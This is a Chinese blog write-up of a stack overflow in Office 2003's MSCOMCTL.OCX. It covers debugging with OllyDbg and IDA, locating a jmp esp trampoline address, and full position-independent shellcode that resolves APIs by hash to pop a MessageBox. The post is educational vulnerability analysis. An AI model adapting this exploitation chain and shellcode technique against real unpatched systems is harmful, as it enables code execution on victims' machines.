操作系统:Windows7 32位 专业版

Office:2003sp3_20120218.exe

工具:OD和IDA

1.漏洞的本质:程序编写时未对内存拷贝函数的长度参数进行足够严谨的验证,造成的堆栈缓冲区溢出。

2漏洞分析:

1.获取poc:

网络下载

2.漏洞复现

安装office2003 sp3

直接运行poc样本,观察程序的运行状态,通过Windows反馈信息可知,此漏洞是典型的栈溢出型漏洞。

clip_image001

使用OD进行附加:

clip_image003

因为栈的结构如下图,所以通过对poc栈分析,下部的栈已经被破坏,上部的栈是程序出现问题的运势状态。

clip_image004

向上栈回述找到如下地址:

clip_image006

重新进行附加,对此函数进行分析,定位漏洞产生的位置:

clip_image008

在此时函数所在的模块,通过OD快捷键:Alt+E查找对应模块

clip_image009

clip_image011

将MSCOMCTL.OCX加载进IDA,对call MSCOMCTL.275C876D漏洞产生函数分析:

clip_image013

由上可知此漏洞的产生,是因为对栈检测时没有设定上限导致的,所以漏洞的修补就是对是否进行内存拷贝的判断时,小于判断即可

通过对OD动态调试:

clip_image015

通过对poc进行010分析,因为poc是需要对漏洞进行利用,而275C876D是漏洞产生的函数,静态分析可知,第三个参数是申请的内存空间的大小,根据ShellCode的编写需要内存空间进行存储,所以,直接在poc的010中搜索8282,即可定位到自定义缓冲区位置

clip_image017

3漏洞利用:

Shellcode:

1. 在运行的程序中寻找跳板指令地址:

Jmp esp

使用 ImmunityDebugger+mona.py

!mona modules

clip_image019

因为此模块位系统模块且各种保护位false

clip_image020

选择可读可执行的 jmp esp 地址:0x729a0535

2. 编写通用ShellCode的思路:

以简单的MessageBox为例:

1.获取Kernel32.dll 基地址

2.获取GetProcAddress 函数地址

3.获取LoadLibraryExA 函数地址

4.调用LoadLibraryExA 获取user32.dll基地址

5.调用GetProcAddress 获取MessageBoxA 函数地址

6.传参调用MessageBoxA

7.调用GetProcAddress,获取ExitProcess函数地址

8.传参调用ExitProcess

为缩短ShellCode的通过获取API Hash值进行匹对完成

  1 /* 通过对APIHASH值的匹对行进获取 */
  2 DWORD GetHash(char *fun_name)
  3 {
  4     DWORD digest = 0;
  5     while (*fun_name)
  6     {
  7         digest = ((digest << 25) | (digest >> 7));    // 实现了digest的循环右移7位(或循环左移25位)
  8         digest += *fun_name;
  9         fun_name++;
 10     }
 11     return digest;
 12 }
 13 int main()
 14 {
 15     _asm
 16     {
 17         // 将所要使用的函数的hash值入栈
 18         cld // 清空标志位DF
 19         push 0x1e380a6a    // MessageBoxA的Hash值
 20         push 0x4fd18963 // ExitProcess的Hash值
 21         push 0x0c917432    // LoadLibraryA的Hash值
 22         mov esi, esp        // 令esi指向栈顶位置,此时指向堆栈中存放的LoadLibrary
 23         lea edi, [esi - 0xc]// 后面利用edi的值来调用不同的函数
 24 
 25         // 开辟栈空间
 26         xor ebx, ebx    // ebx置0
 27         mov bh, 0x04        // 此时ebx为0x400
 28         sub esp, ebx        // 开辟0x400大小的空间
 29 
 30         // 压入“user32.dll”
 31         mov bx, 0x3233    // 0x3和0x2 倒叙存储
 32         push ebx        // 入栈
 33         push 0x72657375    // “user”入栈
 34         push esp
 35         xor edx, edx        // edx置0
 36 
 37         // 查找kernel32.dll的基地址
 38         mov ebx, fs:[edx + 0x30]    // [TEB+0x30]是PEB的位置
 39         mov ecx, [ebx + 0xc]        // [PEB+0xc]是PEB_LDR_DATA的位置
 40             mov ecx, [ecx + 0x1c]    // [PEB_LDR_DATA+0x1c]是InInitializationOrderModuleList
 41         mov ecx, [ecx]            // 进入链表第一个就是ntdll.dll
 42         mov ebp, [ecx + 0x8]        // ebp保存的是Kernel32.dll的基地址
 43 
 44         find_lib_function :
 45         lodsd
 46         cmp eax, 0x1e380a6a        // 与MessageBoxA的Hash值进行比较
 47         jne find_functions        // 如果不相等,继续查找
 48         xchg eax, ebp
 49         call[edi - 0x8]
 50         xchg eax, ebp
 51 
 52         // 在PE文件中查找相应的API函数
 53         find_functions :
 54         pushad        // 保护所有寄存器中的内容
 55             mov eax, [ebp + 0x30]    // PE头
 56             mov ecx, [ebp + eax + 0x78]// 导出表的指针
 57             add ecx, ebp
 58             mov ebx, [ecx + 0x20]    // 导出函数的名字列表
 59             add ebx, ebp
 60             xor edi, edi    // edi置0
 61 
 62             // 循环读取导出表函数
 63             next_function_loop :
 64         inc edi    // edi不断自增,作为索引
 65             mov esi, [ebx + edi*4] // 从列表数组中读取
 66             add esi, ebp    // esi保存的是函数名所在的地址
 67             cdq        // 把edx的每一个位置成eax的最高位,再把edx扩展位eax的高位,变成64位
 68 
 69             // hash值的计算
 70             hash_loop :
 71         movsx eax, byte ptr[esi]    // 每次取出一个字符放入eax中
 72             cmp al, ah    // 验证eax是否为0x0,即结束符
 73             jz compare_hash    // 如果上述结果为0,说明hash值计算完毕进行hash比对
 74             ror edx, 7    // 如果cmp的结果不为0,则进行循环右移7为的操作
 75             add edx, eax // 将循环右移的值不断累加
 76             inc esi        // esi自增,用于读取下一个字符
 77             jmp hash_loop // 跳转到hash_loop的位置继续计算
 78 
 79             // hash值的比较
 80             compare_hash :
 81         cmp edx, [esp + 0x1c] // 与LoadLibraryA的hash值进行比较
 82             jnz next_function_loop // 如果比较不成功,继续寻找导出表的下一个函数
 83             mov ebx, [ecx + 0x24]
 84             add ebx, ebp
 85             mov di, [ebx + 2 * edi]
 86             mov ebx, [ecx + 0x1c]
 87             add ebx, ebp
 88             add ebp, [ebx + 4 * edi]
 89             xchg eax, ebp
 90             pop edi
 91             push edi
 92             popad                // 还原所有寄存器内容
 93             cmp eax, 0x1e380a6a // 与MessageBoxA的Hash值进行比较
 94 
 95         // 主函数内容,用于显示对话框
 96             function_call:
 97         xor ebx, ebx
 98             sub esp, 0x50
 99             xor ebx, ebx
100             push ebx     // cut string
101             push 0x48656c6c    // push "hell"
102             mov eax, esp
103             push ebx             // cut string  
104             push 0x576f726c   // push "worl"
105             mov ecx, esp
106 
107             push ebx
108             push eax
109             push ecx
110             push ebx
111             mov eax, 0x77d507ea
112             call eax           // call MessageBox
113             push ebx
114             mov eax, 0x7c81cafa
115             call eax            // call ExitProcess
116     }
117     return 0;
118 }

 

4总结:

1. 栈数据被当成代码执行

2. 想要通用的shellcode就需要动态获取kernel32.dll,解析kernel32.dll的导出表获取API

3. 漏洞的利用:覆盖函数返回地址,jmp esp跳转

4. 从编程角度理解思考漏洞的成因并防范

posted on 2019-06-06 15:19  黑箱  阅读(599)  评论(0编辑  收藏  举报